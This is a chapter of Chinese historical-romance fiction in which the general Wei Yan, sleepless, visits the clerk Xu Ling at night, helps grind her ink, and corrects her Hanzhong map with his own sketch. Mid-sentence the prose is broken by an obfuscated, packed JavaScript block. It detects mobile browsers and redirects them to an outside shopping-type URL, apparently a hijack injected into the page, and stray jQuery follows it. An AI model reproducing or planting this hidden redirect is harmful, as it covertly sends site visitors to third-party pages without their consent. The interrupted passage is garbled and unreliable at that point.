魏延翻了个身。
刚搬入这间小帐时,他一门心思都扑在磨剑上,对周遭气味毫无知觉。现在躺进皮窠以后,鼻腔充斥着竹简的醇香与花椒的辛凉,浓郁绵长,干冽之余还掺杂了少许酸腐的霉味。挥之不去,令人辗转难眠。赞卡说得没错,这里确实不适合留居,他应该听劝的。
魏延起身披上锦袍,掀开帷幕走到外面吹风透气。星月黯淡、夜已深沉,不远处的徐绫小帐却仍透出影影绰绰的亮光。虽说刘备军眼下最要紧的任务依旧是攻克雒城、进占成都,但既然知道陇右生变,想来明日升帐军议之时,也会顺势就此与大家商讨一番对策。
二十多年前,张鲁奉时任益州牧刘焉之命征伐汉中,并顺势割据于斯,随后将其更名为汉宁。刘焉死后,刘璋与张鲁反目,汉中与蜀地之间通讯彻底断绝。因此,军中多半并无汉中与陇右舆图,而徐绫如今身为庞统麾下书佐,这些庶务自然就落在了她的头上。
魏延虽然没去过陇右,但他刚从汉中回来,还画了图的!
他蓦地转身,大步回到皮窠旁,点亮烛火,在随身行囊里快速翻找着什么。帘幕被帐钩固定住,晚风长驱直入,蜡炬的焰尾被扯动成一道弧,映在那双朗星似的瞳眸里,尾巴尖一跳一跳的,雀跃着急切的光。
很快,他就找出了一卷麻布,凑近烛火细细查看。这是他往返汉中时,用炭笔标注的诸多地形与水文见闻。他没学过绘图,画出来的东西自然谈不上美观。翻越米仓山的路途中也无法妥帖保管,因此,若只是粗略望去,会觉得这就是一团乱糟糟脏兮兮的破烂布头。
晚风不知什么时候已经止息,火苗也变得微弱。魏延垂下脑袋,那卷麻布被他攥在手里,显得更加灰突突皱巴巴了。他索性吹熄烛火,眼睛与夜色融为一体,晦暗如墨。
他把麻布塞进怀中,枕着手臂又躺了回去。肩膀稍一用力,牵动出一阵断断续续的酸疼。那是被徐绫用竹简击中的地方,她那一下既准又狠,不像随手招呼,而是完全没有留力,可见当时一定气极了。
那她在气什么呢?
当然,徐绫有很多值得生气的理由。那卷记着他一桩桩一件件罪行的心简,随便翻出哪一条来当做打他的依据,都不算冤枉。若每罚一次、就当真能勾销一笔,那魏延甚至觉得徐绫最好再多打两次,反正他皮糙肉厚,受得住。
他在徐绫那里的罪状第一条,估计就是林间初见。兵刃越短、进攻时就必须消耗更多力气去贴近对手,因此敢于持短兵者,一定身法迅捷、招式精妙。而像他这样出身黔首的武人,只能靠一腔蛮力,是没地方学什么身法什么招式的。徐绫那柄短剑伤痕斑斑,可见经历过许多厮杀,确实是她的随身佩剑。拥有这样的武学造诣,却在又累又饿之时被自己擒获,一定输得极不甘心。
现在徐绫吃饱喝足了,想把这件事报复回来,也在情理之中。自己今夜虽然挨了打,但那是因为双方兵刃不对等,所以才主动落败,应该不能算已勾销吧?要么两个人都用竹简、要么两个人都用真剑,如此才称得上公平,公平的交手结果才配得上以输赢相论。徐绫毕竟还年轻,交手经验不足,而且骨架未成、臂展也不够,如果堂堂正正比试一次,应该还是自己赢面多一些。
魏延越想越认真,心里已经排出了三五种拆解之法,于是颇有些得意地哼笑起来。这一出声,让他顿时从半梦半醒之中回神:自己怎么还当回事似的正经琢磨起来了?明明刘备曾多次告诫他,军营之中不许耍凶斗狠的。
魏延悻悻然抿了抿唇,一丝淡淡的甜意忽然落在舌尖,又一路滑到心底。
那是蜜水的味道。
他从脑后抽出一只手,指腹从唇珠一点一点抚蹭到嘴角,又一点一点划了回去。
如果徐绫真的气极了,为什么还给他倒水、又让他吃黍饼?
魏延将今夜种种从头到尾回忆一遍。于是,徐绫的一颦一笑都无比清晰地在脑中叠现出来。抽丝剥茧之后,最终只留下一句问话反复冲击着他的耳膜:将军最近……不在先锋营当值么?
当时魏延只觉这句话问得寻常,可现在想想,其实并不寻常:徐绫竟然默认他会来看她?
而且最关键的是,自己险些忘了,徐绫先前并不知道他去了汉中啊!从徐绫视角来看,先锋营与中军营不过相隔四五里,他却自中军大帐一别之后,一个多月间再未露面。今日来了,远远放下东西竟又要走。
如果……如果徐绫是因此而生气呢?
这个念头一冒出来,魏延整个人倏地坐直,怀里归明散残余的药气此时全都窜了出来,让他连呼吸都变得急促。
徐绫……不是也没睡么?
有没有可能……徐绫此时也在因为他而困扰?
徐绫确实没睡。
庞统将张松所献的益州舆图、白水关一路筛出的旧图志、以及霍峤命人自葭萌向北绘成的略图都一并交给了她,要她连夜理出一幅汉中与陇右简图,以备明日升帐议事。此时,徐绫直身跪坐于案几前,手中的笔锋走得极快,目光却渐渐不再停留于身边散乱摊开的竹简与帛图,而只盯着毫尖起落的走势。几笔转折,米仓山的轮廓已自纸上拔起。
汉中入蜀这一段,她毕竟亲自走过,于是,那些散乱在不同图志的点线在她眼里渐渐有了筋骨。山势、河道、关隘、聚落,渐次浮现出来。虽然未曾亲至陇右,但汉中一带画定之后,再去看关于陇右的那些舆图竹简,竟也慢慢有了思路,开始能分辨出哪一幅可为蓝本,哪一幅已不堪再用。待到动笔之时,她仿佛已经见到了逶迤而北的祁山、见到了西汉水与故道水相汇而成的成徽沃野、见到了人迹断绝的摩天岭、见到了终年积雪的岷山。
今年的节气颇有些不寻常,孟冬已过,白天却仍然暖和得很,只有深夜才会霜寒露重,觉出些许冬意。但徐绫此时却感受不到半点寒凉,褐衫的宽大衣袖被她用襻膊一直收紧到肘腋,露出两条紧实有力的蜜色手臂。一手撑案、一手执笔,画到墨淡时也不转头,只是用左手摸索着墨锭胡乱研磨几下。整个人像是被什么东西点着了,全然沉浸在亢奋之中,连双颊都漫出一点灼人的红。
魏延也不知道自己怎么就走到了这里,他怔怔望向帐内:徐绫当然没有因为他而困扰。不仅是今夜与他有关的一切,而是世间万事万物,此时在徐绫眼中都如同过眼即散的烟云,唯有面前这份公务值得她夙兴夜寐。
自己果然又自作多情了。
虽然这样想着,可魏延却挪不开步子。值夜的士卒进帐向徐绫通报,徐绫没有停笔,仍然保持着一手磨墨、一手绘图的姿势,朝他略略望了一眼,又继续埋头画了起来。魏延觉得她多半根本没听清士卒说了什么,抬眼时也并没有真的在看自己,那只是躯壳的一个动作而已。她的精魂早已牢牢锁定在那幅舆图上,没有什么人或事能让她从中抽离出来。
魏延无声呼出一口气,放轻脚步走进帐中,绕到她左手边半跪下去、将
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486436|202034||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身体撑起,拿过陶杯往砚台添了些水,稍稍用力、从她手上把墨锭抢了过来,开始一圈一圈认真研磨着。徐绫自然而然松手,笔锋没有半瞬停留,直到把最后一个险隘陈仓标注完毕,才终于将视线从绘卷移开,缓缓落在魏延脸上,眸光一点一点聚拢,好像刚刚意识到自己身侧原来还多了个人。
“将军这是在做什么?”
徐绫挽了挽鬓边垂落的一绺碎发,指腹随即在自己那张花脸上又添出一道墨痕。魏延腮帮微微鼓了鼓,似乎想笑,但很快偏转目光,垂眸盯着砚台里的墨汁说道:
“我睡不着。”
他嗓音带着明显的喑哑,却解释得理所当然。仿佛睡不着,便该过来替她磨墨似的。徐绫静静看着,他眼皮分明已有些发沉,肩背却仍绷着一股劲。灯火微晃,烛光流转在丝滑如镜的锦衣之上,随着他刻意控制的呼吸,习习忽闪出小心翼翼的光。
急急解释夏侯渊的动向、特地磨好归还的嗣音剑、藏在怀里的归明散,以及明明疲惫不堪、却还坐在这里替自己研墨的他。
徐绫斟酌着正要开口,却听见魏延的声音先响了起来:
“徐子衿。”
徐绫立刻抓起了刚刚放下的笔,目光飞速从舆图上逡巡而过,试图找出哪一处尚有疏漏。视野中忽然闯入一只大手,虎口有硬实的老茧,指背密布着擦碰而出的新旧疤痕,指尖沾染了少许墨渍,显得有些格格不入。这只手在一条从米仓山穿行而过的小河河畔悬停少许,又指了指对岸不远处的一座山峰:
“我就是从这里走的,这两处地势,应该没差这么大。”
徐绫紧紧抓着笔杆的手渐渐松开,短暂的沉默过后,她抬眼望向魏延,喉间溢出一声拖起尾音的疑惑。魏延从怀中摸出那卷麻布,有些难为情似的迟疑片刻,飞快地瞄她一眼,随即清了清嗓,展开麻布寻望一圈,将其余部分都折叠起来,单指一处给她看:
“我从这里望过去,对面山势是偏斜些,但高下并不悬隔。若画得这样陡,会使人误判路险。”
徐绫盯着麻布上用炭笔草草绘就的山川河流,虽然画得粗陋,但几处走势转折的要点却标注得清清楚楚,有些地方还写了几列小字。她把麻布往灯下拽一拽,想看得更清楚些,怎料竟没拽动!她又扯了扯,这才发现原来是魏延用力抓住了另一端,就不给她看。
“……小气。”
“我才不小气!”
魏延高声反驳道,显得很是委屈,睫毛的阴影投射在眼下,剧烈颤动着,仿佛在纠结什么人生大事。但人生大事只纠结了寸刻不到,他就破罐破摔似的松了力道,主动把麻布展开,移到案几正中,任凭徐绫看个够。
徐绫俯身细细看过每一处小字注解,笔迹虽不算文雅,倒也工整,显然是下苦功练过的。她把麻布叠好还给魏延,提笔将那处峰峦曲线重新改过,顺口问道:
“那些标注都是你写的?”
“自然,”魏延挺直了胸膛,“我识字的,我部士卒家书都是我代写。”
徐绫噗嗤笑了出来,一边执笔调整几处细节,一边侧眸瞥了他一眼:
“我不是那个意思。”
但魏延没有笑,只是定定望着徐绫:
“写家书又不需要熟读屈原。”
啊?
徐绫收笔,抬头看向魏延,歪了歪脑袋,唇角一点点扬起,露出了那个他很熟悉的促狭笑容:
“魏文长,你还挺记仇。”